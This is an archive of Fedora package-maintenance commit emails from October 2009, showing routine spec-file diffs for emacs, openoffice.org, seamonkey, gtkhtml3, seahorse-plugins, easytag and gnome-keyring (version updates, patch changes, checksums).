From: dnovotny at fedoraproject.org (Daniel Novotny)
Date: Mon, 19 Oct 2009 09:02:07 +0000 (UTC)
Subject: rpms/emacs/devel emacs.spec,1.142,1.143
Message-ID: <20091019090207.C1BC711C00DC@cvs1.fedora.phx.redhat.com>

Author: dnovotny

Update of /cvs/extras/rpms/emacs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18143

Modified Files:
	emacs.spec 
Log Message:
fixed update-directory-autoloads (#474958)



Index: emacs.spec
===================================================================
RCS file: /cvs/extras/rpms/emacs/devel/emacs.spec,v
retrieving revision 1.142
retrieving revision 1.143
diff -u -p -r1.142 -r1.143
--- emacs.spec	14 Oct 2009 12:18:40 -0000	1.142
+++ emacs.spec	19 Oct 2009 09:02:05 -0000	1.143
@@ -4,7 +4,7 @@ Summary: GNU Emacs text editor
 Name: emacs
 Epoch: 1
 Version: 23.1
-Release: 12%{?dist}
+Release: 13%{?dist}
 License: GPLv3+
 URL: http://www.gnu.org/software/emacs/
 Group: Applications/Editors
@@ -228,6 +228,11 @@ mkdir -p %{buildroot}%{site_lisp}
 install -p -m 0644 %SOURCE4 %{buildroot}%{site_lisp}/site-start.el
 install -p -m 0644 %SOURCE18 %{buildroot}%{site_lisp}
 
+#this solves bz#474958, "update-directory-autoloads" now finally works
+#the path is different each version, so we'll generate it here
+echo "(setq source-directory \"%{_datadir}/emacs/%{version}/\")" \
+ >> %{buildroot}%{site_lisp}/site-start.el
+
 mv %{buildroot}%{_bindir}/{etags,etags.emacs}
 mv %{buildroot}%{_mandir}/man1/{ctags.1,gctags.1}
 mv %{buildroot}%{_mandir}/man1/{etags.1,etags.emacs.1}
@@ -386,6 +391,9 @@ alternatives --install %{_bindir}/etags 
 %dir %{_datadir}/emacs/%{version}
 
 %changelog
+* Mon Oct 19 2009 Daniel Novotny <dnovotny at redhat.com> 1:23.1-13
+- fixed update-directory-autoloads (#474958)
+
 * Wed Oct 14 2009 Daniel Novotny <dnovotny at redhat.com> 1:23.1-12
 - do not compress the files which implement compression itself (#484830)
 



From caolanm at fedoraproject.org  Mon Oct 19 09:10:00 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Mon, 19 Oct 2009 09:10:00 +0000 (UTC)
Subject: rpms/openoffice.org/F-12
	openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch, NONE,
	1.1 openoffice.org.spec, 1.2020, 1.2021
Message-ID: <20091019091000.6AB8D11C00DC@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20288/F-12

Modified Files:
	openoffice.org.spec 
Added Files:
	openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch 
Log Message:
openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch

openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch:
 salnativewidgets-gtk.cxx |   13 -------------
 1 file changed, 13 deletions(-)

--- NEW FILE openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch ---
diff -ru vcl.orig/unx/gtk/gdi/salnativewidgets-gtk.cxx vcl/unx/gtk/gdi/salnativewidgets-gtk.cxx
--- vcl.orig/unx/gtk/gdi/salnativewidgets-gtk.cxx	2009-10-19 10:02:42.000000000 +0100
+++ vcl/unx/gtk/gdi/salnativewidgets-gtk.cxx	2009-10-19 10:04:37.000000000 +0100
@@ -3342,19 +3342,6 @@
         case PANGO_STRETCH_ULTRA_EXPANDED:	aInfo.m_eWidth = psp::width::UltraExpanded;break;
     }
 
-#if OSL_DEBUG_LEVEL > 1
-    std::fprintf( stderr, "font name BEFORE system match: \"%s\"\n", aFamily.getStr() );
-#endif
-
-    // match font to e.g. resolve "Sans"
-    psp::PrintFontManager::get().matchFont( aInfo, rSettings.GetUILocale() );
-
-#if OSL_DEBUG_LEVEL > 1
-    std::fprintf( stderr, "font match %s, name AFTER: \"%s\"\n",
-             aInfo.m_nID != 0 ? "succeeded" : "failed",
-             OUStringToOString( aInfo.m_aFamilyName, RTL_TEXTENCODING_ISO_8859_1 ).getStr() );
-#endif
-    
     sal_Int32 nDispDPIY = GetDisplay()->GetResolution().B();
     int nPointHeight = 0;
     static gboolean(*pAbso)(const PangoFontDescription*) =


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/F-12/openoffice.org.spec,v
retrieving revision 1.2020
retrieving revision 1.2021
diff -u -p -r1.2020 -r1.2021
--- openoffice.org.spec	17 Oct 2009 15:45:54 -0000	1.2020
+++ openoffice.org.spec	19 Oct 2009 09:09:59 -0000	1.2021
@@ -164,6 +164,7 @@ Patch87: workspace.aw073.patch
 Patch88: workspace.vcl106.patch
 Patch89: openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch
 Patch90: openoffice.org-3.2.0.ooo105988.svx.a11ycrash.patch
+Patch91: openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1714,6 +1715,7 @@ cat %{PATCH11} >> svtools/source/dialogs
 %patch88 -p0 -b .workspace.vcl106.patch
 %patch89 -p0 -b .oooXXXXXX.vcl.sniffscriptforsubs.patch
 %patch90 -p0 -b .ooo105988.svx.a11ycrash.patch
+%patch91 -p0 -b .oooXXXXXX.vcl.dontresolve.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4247,8 +4249,10 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
-* Sat Oct 17 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.13-UNBUILT
-- Resolves: ooo#105988 a11y crash in impress
+* Mon Oct 19 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.13
+- Resolves: ooo#105988 a11y crash in impress (caolanm)
+- Related: rhbz#529521 add openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch
+  (caolanm)
 
 * Thu Oct 15 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.12
 - Resolves: rhbz#528409 [si_LK] Default font in oowriter is not



From caolanm at fedoraproject.org  Mon Oct 19 09:10:00 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Mon, 19 Oct 2009 09:10:00 +0000 (UTC)
Subject: rpms/openoffice.org/devel
	openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch, NONE,
	1.1 openoffice.org.spec, 1.2044, 1.2045
Message-ID: <20091019091000.B4C4211C00DC@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20288/devel

Modified Files:
	openoffice.org.spec 
Added Files:
	openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch 
Log Message:
openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch

openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch:
 salnativewidgets-gtk.cxx |   13 -------------
 1 file changed, 13 deletions(-)

--- NEW FILE openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch ---
diff -ru vcl.orig/unx/gtk/gdi/salnativewidgets-gtk.cxx vcl/unx/gtk/gdi/salnativewidgets-gtk.cxx
--- vcl.orig/unx/gtk/gdi/salnativewidgets-gtk.cxx	2009-10-19 10:02:42.000000000 +0100
+++ vcl/unx/gtk/gdi/salnativewidgets-gtk.cxx	2009-10-19 10:04:37.000000000 +0100
@@ -3342,19 +3342,6 @@
         case PANGO_STRETCH_ULTRA_EXPANDED:	aInfo.m_eWidth = psp::width::UltraExpanded;break;
     }
 
-#if OSL_DEBUG_LEVEL > 1
-    std::fprintf( stderr, "font name BEFORE system match: \"%s\"\n", aFamily.getStr() );
-#endif
-
-    // match font to e.g. resolve "Sans"
-    psp::PrintFontManager::get().matchFont( aInfo, rSettings.GetUILocale() );
-
-#if OSL_DEBUG_LEVEL > 1
-    std::fprintf( stderr, "font match %s, name AFTER: \"%s\"\n",
-             aInfo.m_nID != 0 ? "succeeded" : "failed",
-             OUStringToOString( aInfo.m_aFamilyName, RTL_TEXTENCODING_ISO_8859_1 ).getStr() );
-#endif
-    
     sal_Int32 nDispDPIY = GetDisplay()->GetResolution().B();
     int nPointHeight = 0;
     static gboolean(*pAbso)(const PangoFontDescription*) =


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2044
retrieving revision 1.2045
diff -u -p -r1.2044 -r1.2045
--- openoffice.org.spec	19 Oct 2009 06:31:23 -0000	1.2044
+++ openoffice.org.spec	19 Oct 2009 09:10:00 -0000	1.2045
@@ -117,6 +117,7 @@ Patch43: openoffice.org-3.1.1.ooo105784.
 Patch44: openoffice.org-3.2.0.ooo105827.filter.xpath-on-rtf-not-allowed.patch
 Patch45: openoffice.org-3.2.0.ooo105988.svx.a11ycrash.patch
 Patch46: openoffice.org-3.2.0.rhbz521460.svx.revert-paper-sizes-reordering.patch
+Patch47: openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1623,6 +1624,7 @@ cat %{PATCH10} >> svtools/source/dialogs
 %patch44 -p0 -b .ooo105827.filter.xpath-on-rtf-not-allowed.patch
 %patch45 -p0 -b .ooo105988.svx.a11ycrash.patch
 %patch46 -p1 -b .rhbz521460.svx.revert-paper-sizes-reordering.patch
+%patch47 -p0 -b .oooXXXXXX.vcl.dontresolve.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4125,6 +4127,8 @@ fi
 %changelog
 * Mon Oct 19 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.3
 - Resolves: rhbz#521460 - wrong page size for A3/A5 (dtardon)
+- Related: rhbz#529521 add openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch
+  (caolanm)
 
 * Sat Oct 17 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.2
 - Resolves: ooo#105988 a11y crash in impress (caolanm)



From stransky at fedoraproject.org  Mon Oct 19 09:12:16 2009
From: stransky at fedoraproject.org (Martin Stransky)
Date: Mon, 19 Oct 2009 09:12:16 +0000 (UTC)
Subject: rpms/seamonkey/F-12 .cvsignore, 1.28, 1.29 seamonkey.spec, 1.64,
	1.65 sources, 1.30, 1.31
Message-ID: <20091019091216.929FD11C00DC@cvs1.fedora.phx.redhat.com>

Author: stransky

Update of /cvs/pkgs/rpms/seamonkey/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20926

Modified Files:
	.cvsignore seamonkey.spec sources 
Log Message:
Update to RC2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/seamonkey/F-12/.cvsignore,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- .cvsignore	13 Oct 2009 21:27:36 -0000	1.28
+++ .cvsignore	19 Oct 2009 09:12:15 -0000	1.29
@@ -5,3 +5,5 @@ seamonkey-2.0b2.source.tar.bz2
 seamonkey-langpacks-2.0b2-20090923.tar.bz2
 seamonkey-2.0rc1.source.tar.bz2
 seamonkey-langpacks-2.0-20091013.tar.bz2
+seamonkey-2.0rc2.source.tar.bz2
+seamonkey-langpacks-2.0-20091019.tar.bz2


Index: seamonkey.spec
===================================================================
RCS file: /cvs/pkgs/rpms/seamonkey/F-12/seamonkey.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- seamonkey.spec	13 Oct 2009 21:27:36 -0000	1.64
+++ seamonkey.spec	19 Oct 2009 09:12:15 -0000	1.65
@@ -5,7 +5,7 @@
 %define minimum_build_nspr_version 4.7.2
 %define minimum_build_nss_version 3.12
 
-%define prerelease_tag rc1
+%define prerelease_tag rc2
 
 %define build_langpacks 1
 
@@ -18,13 +18,13 @@
 Name:           seamonkey
 Summary:        Web browser, e-mail, news, IRC client, HTML editor
 Version:        2.0
-Release:        4%{?dist}
+Release:        5%{?dist}
 URL:            http://www.mozilla.org/projects/seamonkey/
 License:        MPLv1.1
 Group:          Applications/Internet
 
 Source0:        seamonkey-%{version}%{?prerelease_tag}.source.tar.bz2
-Source1:        seamonkey-langpacks-%{version}-20091013.tar.bz2
+Source1:        seamonkey-langpacks-%{version}-20091019.tar.bz2
 Source2:        seamonkey-icon.png
 Source3:        seamonkey.sh.in
 Source4:        seamonkey.desktop
@@ -342,6 +342,9 @@ update-desktop-database %{_datadir}/appl
 
 
 %changelog
+* Tue Oct 19 2009 Martin Stransky <stransky at redhat.com> 2.0-5
+- Update to 2.0 RC2
+
 * Tue Oct 13 2009 Martin Stransky <stransky at redhat.com> 2.0-4
 - Update to 2.0 RC1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/seamonkey/F-12/sources,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- sources	13 Oct 2009 21:27:36 -0000	1.30
+++ sources	19 Oct 2009 09:12:15 -0000	1.31
@@ -1,2 +1,2 @@
-d174e105939e0fea967b7f0df370cbfb  seamonkey-2.0rc1.source.tar.bz2
-92d033799d61b7ba6f5137706f30f165  seamonkey-langpacks-2.0-20091013.tar.bz2
+738c0f17bf4148f57cb5811c3ea4f7fc  seamonkey-2.0rc2.source.tar.bz2
+a52f67c3f492af7b7630679f412adc19  seamonkey-langpacks-2.0-20091019.tar.bz2



From mcrha at fedoraproject.org  Mon Oct 19 09:13:47 2009
From: mcrha at fedoraproject.org (Milan Crha)
Date: Mon, 19 Oct 2009 09:13:47 +0000 (UTC)
Subject: rpms/gtkhtml3/devel .cvsignore, 1.103, 1.104 gtkhtml3.spec, 1.160, 
	1.161 sources, 1.103, 1.104
Message-ID: <20091019091347.4276B11C00DC@cvs1.fedora.phx.redhat.com>

Author: mcrha

Update of /cvs/pkgs/rpms/gtkhtml3/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21716

Modified Files:
	.cvsignore gtkhtml3.spec sources 
Log Message:
* Mon Oct 19 2009 Milan Crha <mcrha at redhat.com> - 3.28.1-1.fc12
- Update to 3.28.1




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gtkhtml3/devel/.cvsignore,v
retrieving revision 1.103
retrieving revision 1.104
diff -u -p -r1.103 -r1.104
--- .cvsignore	21 Sep 2009 12:19:41 -0000	1.103
+++ .cvsignore	19 Oct 2009 09:13:47 -0000	1.104
@@ -1 +1 @@
-gtkhtml-3.28.0.tar.bz2
+gtkhtml-3.28.1.tar.bz2


Index: gtkhtml3.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtkhtml3/devel/gtkhtml3.spec,v
retrieving revision 1.160
retrieving revision 1.161
diff -u -p -r1.160 -r1.161
--- gtkhtml3.spec	21 Sep 2009 12:19:41 -0000	1.160
+++ gtkhtml3.spec	19 Oct 2009 09:13:47 -0000	1.161
@@ -6,7 +6,7 @@
 ### Abstract ###
 
 Name: gtkhtml3
-Version: 3.28.0
+Version: 3.28.1
 Release: 1%{?dist}
 Group: System Environment/Libraries
 Summary: GtkHTML library
@@ -97,6 +97,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/*.pc
 
 %changelog
+* Mon Oct 19 2009 Milan Crha <mcrha at redhat.com> - 3.28.1-1.fc12
+- Update to 3.28.1
+
 * Mon Sep 21 2009 Milan Crha <mcrha at redhat.com> - 3.28.0-1.fc12
 - Update to 3.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gtkhtml3/devel/sources,v
retrieving revision 1.103
retrieving revision 1.104
diff -u -p -r1.103 -r1.104
--- sources	21 Sep 2009 12:19:41 -0000	1.103
+++ sources	19 Oct 2009 09:13:47 -0000	1.104
@@ -1 +1 @@
-07bce4da18e99b5c971f0cac6973c944  gtkhtml-3.28.0.tar.bz2
+332bea8d39e1348c0f630a79146de5f6  gtkhtml-3.28.1.tar.bz2



From tbzatek at fedoraproject.org  Mon Oct 19 09:14:11 2009
From: tbzatek at fedoraproject.org (Tomas Bzatek)
Date: Mon, 19 Oct 2009 09:14:11 +0000 (UTC)
Subject: rpms/seahorse-plugins/F-12 .cvsignore, 1.14,
	1.15 seahorse-plugins.spec, 1.31, 1.32 sources, 1.14,
	1.15 epiphany-2.26.patch, 1.1, NONE gnupg-getinfo.patch, 1.1, NONE
Message-ID: <20091019091411.2CFD911C00DC@cvs1.fedora.phx.redhat.com>

Author: tbzatek

Update of /cvs/extras/rpms/seahorse-plugins/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21922

Modified Files:
	.cvsignore seahorse-plugins.spec sources 
Removed Files:
	epiphany-2.26.patch gnupg-getinfo.patch 
Log Message:
* Mon Oct 19 2009 Tomas Bzatek <tbzatek at redhat.com> 2.28.1-1
- Update to 2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/seahorse-plugins/F-12/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	24 Sep 2009 02:24:26 -0000	1.14
+++ .cvsignore	19 Oct 2009 09:14:10 -0000	1.15
@@ -1 +1 @@
-seahorse-plugins-2.28.0.tar.bz2
+seahorse-plugins-2.28.1.tar.bz2


Index: seahorse-plugins.spec
===================================================================
RCS file: /cvs/extras/rpms/seahorse-plugins/F-12/seahorse-plugins.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- seahorse-plugins.spec	8 Oct 2009 00:28:56 -0000	1.31
+++ seahorse-plugins.spec	19 Oct 2009 09:14:11 -0000	1.32
@@ -1,17 +1,14 @@
-Name: 		seahorse-plugins
-Version: 	2.28.0
-Release:        2%{?dist}
+Name:		seahorse-plugins
+Version:	2.28.1
+Release:	1%{?dist}
 Summary:	Plugins and utilities for encryption in GNOME
-Group: 		User Interface/Desktops
-License:        GPLv2+ and GFDL
-URL:            http://projects.gnome.org/seahorse/
-Source:         http://download.gnome.org/sources/seahorse-plugins/2.28/%{name}-%{version}.tar.bz2
+Group:		User Interface/Desktops
+License:	GPLv2+ and GFDL
+URL:		http://projects.gnome.org/seahorse/
+Source:		http://download.gnome.org/sources/seahorse-plugins/2.28/%{name}-%{version}.tar.bz2
 Source1:	seahorse-agent.sh
 
-# from upstream: https://bugzilla.gnome.org/show_bug.cgi?id=586855
-Patch0: 	gnupg-getinfo.patch
-
-BuildRoot: 	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  intltool
 BuildRequires:  gettext-devel
@@ -62,7 +59,6 @@ from applications like nautilus or gedit
 
 %prep
 %setup -q
-%patch0 -p1 -b .getinfo
 
 autoreconf -i -f
 
@@ -187,6 +183,9 @@ fi
 #%{_libdir}/epiphany/2.27/extensions/seahorse.ephy-extension
 
 %changelog
+* Mon Oct 19 2009 Tomas Bzatek <tbzatek at redhat.com> 2.28.1-1
+- Update to 2.28.1
+
 * Wed Oct  7 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-2
 - Implement GETINFO to make seahorse-agent work with gnupg >= 2.0.12
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/seahorse-plugins/F-12/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	24 Sep 2009 02:24:26 -0000	1.14
+++ sources	19 Oct 2009 09:14:11 -0000	1.15
@@ -1 +1 @@
-ff3f238af0b19896ed949fec06b5b40d  seahorse-plugins-2.28.0.tar.bz2
+cec5ef8b94c16798f53a5876d3718b91  seahorse-plugins-2.28.1.tar.bz2


--- epiphany-2.26.patch DELETED ---


--- gnupg-getinfo.patch DELETED ---



From stransky at fedoraproject.org  Mon Oct 19 09:21:24 2009
From: stransky at fedoraproject.org (Martin Stransky)
Date: Mon, 19 Oct 2009 09:21:24 +0000 (UTC)
Subject: rpms/seamonkey/devel seamonkey.spec,1.65,1.66 sources,1.30,1.31
Message-ID: <20091019092124.C3C9311C00DC@cvs1.fedora.phx.redhat.com>

Author: stransky

Update of /cvs/pkgs/rpms/seamonkey/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26398

Modified Files:
	seamonkey.spec sources 
Log Message:
Update to RC2


Index: seamonkey.spec
===================================================================
RCS file: /cvs/pkgs/rpms/seamonkey/devel/seamonkey.spec,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- seamonkey.spec	14 Oct 2009 12:24:41 -0000	1.65
+++ seamonkey.spec	19 Oct 2009 09:21:24 -0000	1.66
@@ -5,7 +5,7 @@
 %define minimum_build_nspr_version 4.7.2
 %define minimum_build_nss_version 3.12
 
-%define prerelease_tag rc1
+%define prerelease_tag rc2
 
 %define build_langpacks 1
 
@@ -18,13 +18,13 @@
 Name:           seamonkey
 Summary:        Web browser, e-mail, news, IRC client, HTML editor
 Version:        2.0
-Release:        4%{?dist}
+Release:        5%{?dist}
 URL:            http://www.mozilla.org/projects/seamonkey/
 License:        MPLv1.1
 Group:          Applications/Internet
 
 Source0:        seamonkey-%{version}%{?prerelease_tag}.source.tar.bz2
-Source1:        seamonkey-langpacks-%{version}-20091013.tar.bz2
+Source1:        seamonkey-langpacks-%{version}-20091019.tar.bz2
 Source2:        seamonkey-icon.png
 Source3:        seamonkey.sh.in
 Source4:        seamonkey.desktop
@@ -342,6 +342,9 @@ update-desktop-database %{_datadir}/appl
 
 
 %changelog
+* Wed Oct 19 2009 Martin Stransky <stransky at redhat.com> 2.0-5
+- Update to 2.0 RC2
+
 * Wed Oct 14 2009 Martin Stransky <stransky at redhat.com> 2.0-4
 - Update to 2.0 RC1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/seamonkey/devel/sources,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- sources	14 Oct 2009 12:19:12 -0000	1.30
+++ sources	19 Oct 2009 09:21:24 -0000	1.31
@@ -1,2 +1,2 @@
-d174e105939e0fea967b7f0df370cbfb  seamonkey-2.0rc1.source.tar.bz2
-92d033799d61b7ba6f5137706f30f165  seamonkey-langpacks-2.0-20091013.tar.bz2
+738c0f17bf4148f57cb5811c3ea4f7fc  seamonkey-2.0rc2.source.tar.bz2
+a52f67c3f492af7b7630679f412adc19  seamonkey-langpacks-2.0-20091019.tar.bz2



From thias at fedoraproject.org  Mon Oct 19 09:32:29 2009
From: thias at fedoraproject.org (Matthias Saou)
Date: Mon, 19 Oct 2009 09:32:29 +0000 (UTC)
Subject: rpms/easytag/devel easytag.spec,1.27,1.28
Message-ID: <20091019093229.8B23711C00DC@cvs1.fedora.phx.redhat.com>

Author: thias

Update of /cvs/extras/rpms/easytag/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28893

Modified Files:
	easytag.spec 
Log Message:
Fix id3 tag support and enable speex support.



Index: easytag.spec
===================================================================
RCS file: /cvs/extras/rpms/easytag/devel/easytag.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- easytag.spec	12 Sep 2009 14:59:47 -0000	1.27
+++ easytag.spec	19 Oct 2009 09:32:29 -0000	1.28
@@ -1,7 +1,7 @@
 Summary: Tag editor for mp3, ogg, flac and other music files
 Name: easytag
 Version: 2.1.6
-Release: 1%{?dist}
+Release: 2%{?dist}
 # Program is GPL only the included libapetag is LGPL
 License: GPLv2+ and LGPLv2+
 Group: Applications/Multimedia
@@ -15,8 +15,14 @@ Source: easytag-%{version}-patched.tar.b
 Patch0: easytag-2.1.6-id3lib.patch
 Patch1: easytag-2.1.6-cddb_manual_search_fix.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
-BuildRequires: gtk2-devel >= 2.4.0, id3lib-devel >= 3.7.12
-BuildRequires: libvorbis-devel >= 1.0, flac-devel, libmp4v2-devel, wavpack-devel
+BuildRequires: gtk2-devel >= 2.4.0
+BuildRequires: id3lib-devel >= 3.7.12
+BuildRequires: libid3tag-devel
+BuildRequires: libvorbis-devel >= 1.0
+BuildRequires: flac-devel
+BuildRequires: speex-devel
+BuildRequires: libmp4v2-devel
+BuildRequires: wavpack-devel
 BuildRequires: gettext
 
 %description
@@ -59,6 +65,10 @@ find . -type f -exec %{__chmod} -x {} \;
 
 
 %changelog
+* Mon Oct 19 2009 Matthias Saou <http://freshrpms.net/> 2.1.6-2
+- Add libid3tag-devel BR to fix id3 tag support (#525519).
+- Add speex-devel BR to support speex files.
+
 * Sat Sep 12 2009 Matthias Saou <http://freshrpms.net/> 2.1.6-1
 - Update to 2.1.6 : Development, but the latest for over a year now.
 - Include upstream cddb_manual_search_fix patch.



From tbzatek at fedoraproject.org  Mon Oct 19 09:38:54 2009
From: tbzatek at fedoraproject.org (Tomas Bzatek)
Date: Mon, 19 Oct 2009 09:38:54 +0000 (UTC)
Subject: rpms/gnome-keyring/F-12 .cvsignore, 1.66, 1.67 gnome-keyring.spec, 
	1.133, 1.134 sources, 1.66,
	1.67 gnome-keyring-no-logout-delay.patch, 1.1,
	NONE rsa1-keys.patch, 1.1, NONE
Message-ID: <20091019093854.A1D5811C00DC@cvs1.fedora.phx.redhat.com>

Author: tbzatek

Update of /cvs/extras/rpms/gnome-keyring/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30477

Modified Files:
	.cvsignore gnome-keyring.spec sources 
Removed Files:
	gnome-keyring-no-logout-delay.patch rsa1-keys.patch 
Log Message:
* Mon Oct 19 2009 Tomas Bzatek <tbzatek at redhat.com> - 2.28.1-1
- Update to 2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/gnome-keyring/F-12/.cvsignore,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- .cvsignore	21 Sep 2009 16:31:31 -0000	1.66
+++ .cvsignore	19 Oct 2009 09:38:54 -0000	1.67
@@ -1 +1 @@
-gnome-keyring-2.28.0.tar.bz2
+gnome-keyring-2.28.1.tar.bz2


Index: gnome-keyring.spec
===================================================================
RCS file: /cvs/extras/rpms/gnome-keyring/F-12/gnome-keyring.spec,v
retrieving revision 1.133
retrieving revision 1.134
diff -u -p -r1.133 -r1.134
--- gnome-keyring.spec	14 Oct 2009 21:30:30 -0000	1.133
+++ gnome-keyring.spec	19 Oct 2009 09:38:54 -0000	1.134
@@ -7,18 +7,12 @@
 
 Summary: Framework for managing passwords and other secrets
 Name: gnome-keyring
-Version: 2.28.0
-Release: 4%{?dist}
+Version: 2.28.1
+Release: 1%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Libraries
 Source: http://download.gnome.org/sources/gnome-keyring/2.28/gnome-keyring-%{version}.tar.bz2
 
-# https://bugzilla.gnome.org/show_bug.cgi?id=595698
-Patch0: gnome-keyring-no-logout-delay.patch
-
-# fixed upstream: https://bugzilla.gnome.org/show_bug.cgi?id=597813
-Patch1: rsa1-keys.patch
-
 # https://bugzilla.gnome.org/show_bug.cgi?id=598494
 Patch2: gnome-keyring-2.28.0-die-on-session-exit.patch
 
@@ -74,8 +68,6 @@ automatically unlock the "login" keyring
 
 %prep
 %setup -q -n gnome-keyring-%{version}
-%patch0 -p1 -b .logout-delay
-%patch1 -p1 -b .rsa1-keys
 %patch2 -p1 -b .die-on-session-exit
 
 %build
@@ -154,6 +146,9 @@ fi
 
 
 %changelog
+* Mon Oct 19 2009 Tomas Bzatek <tbzatek at redhat.com> - 2.28.1-1
+- Update to 2.28.1
+
 * Wed Oct 14 2009 Ray Strode <rstrode at redhat.com> - 2.28.0-4
 - Die on ctrl-alt-backspace and other abrupt exits
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/gnome-keyring/F-12/sources,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- sources	21 Sep 2009 16:31:31 -0000	1.66
+++ sources	19 Oct 2009 09:38:54 -0000	1.67
@@ -1 +1 @@
-07fa253d8506c22640d74eb4fc90a092  gnome-keyring-2.28.0.tar.bz2
+1139f46c99a1b0c01009ed2eae3f4a0a  gnome-keyring-2.28.1.tar.bz2


--- gnome-keyring-no-logout-delay.patch DELETED ---


--- rsa1-keys.patch DELETED ---



From mcrha at fedoraproject.org  Mon Oct 19 09:40:29 2009
From: mcrha at fedoraproject.org (Milan Crha)
Date: Mon, 19 Oct 2009 09:40:29 +0000 (UTC)
Subject: rpms/gtkhtml3/F-12 .cvsignore, 1.103, 1.104 gtkhtml3.spec, 1.160,
	1.161 sources, 1.103, 1.104
Message-ID: <20091019094029.1FD9311C02A6@cvs1.fedora.phx.redhat.com>

Author: mcrha

Update of /cvs/pkgs/rpms/gtkhtml3/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30806

Modified Files:
	.cvsignore gtkhtml3.spec sources 
Log Message:
* Mon Oct 19 2009 Milan Crha <mcrha at redhat.com> - 3.28.1-1.fc12
- Update to 3.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gtkhtml3/F-12/.cvsignore,v
retrieving revision 1.103
retrieving revision 1.104
diff -u -p -r1.103 -r1.104
--- .cvsignore	21 Sep 2009 12:19:41 -0000	1.103
+++ .cvsignore	19 Oct 2009 09:40:28 -0000	1.104
@@ -1 +1 @@
-gtkhtml-3.28.0.tar.bz2
+gtkhtml-3.28.1.tar.bz2


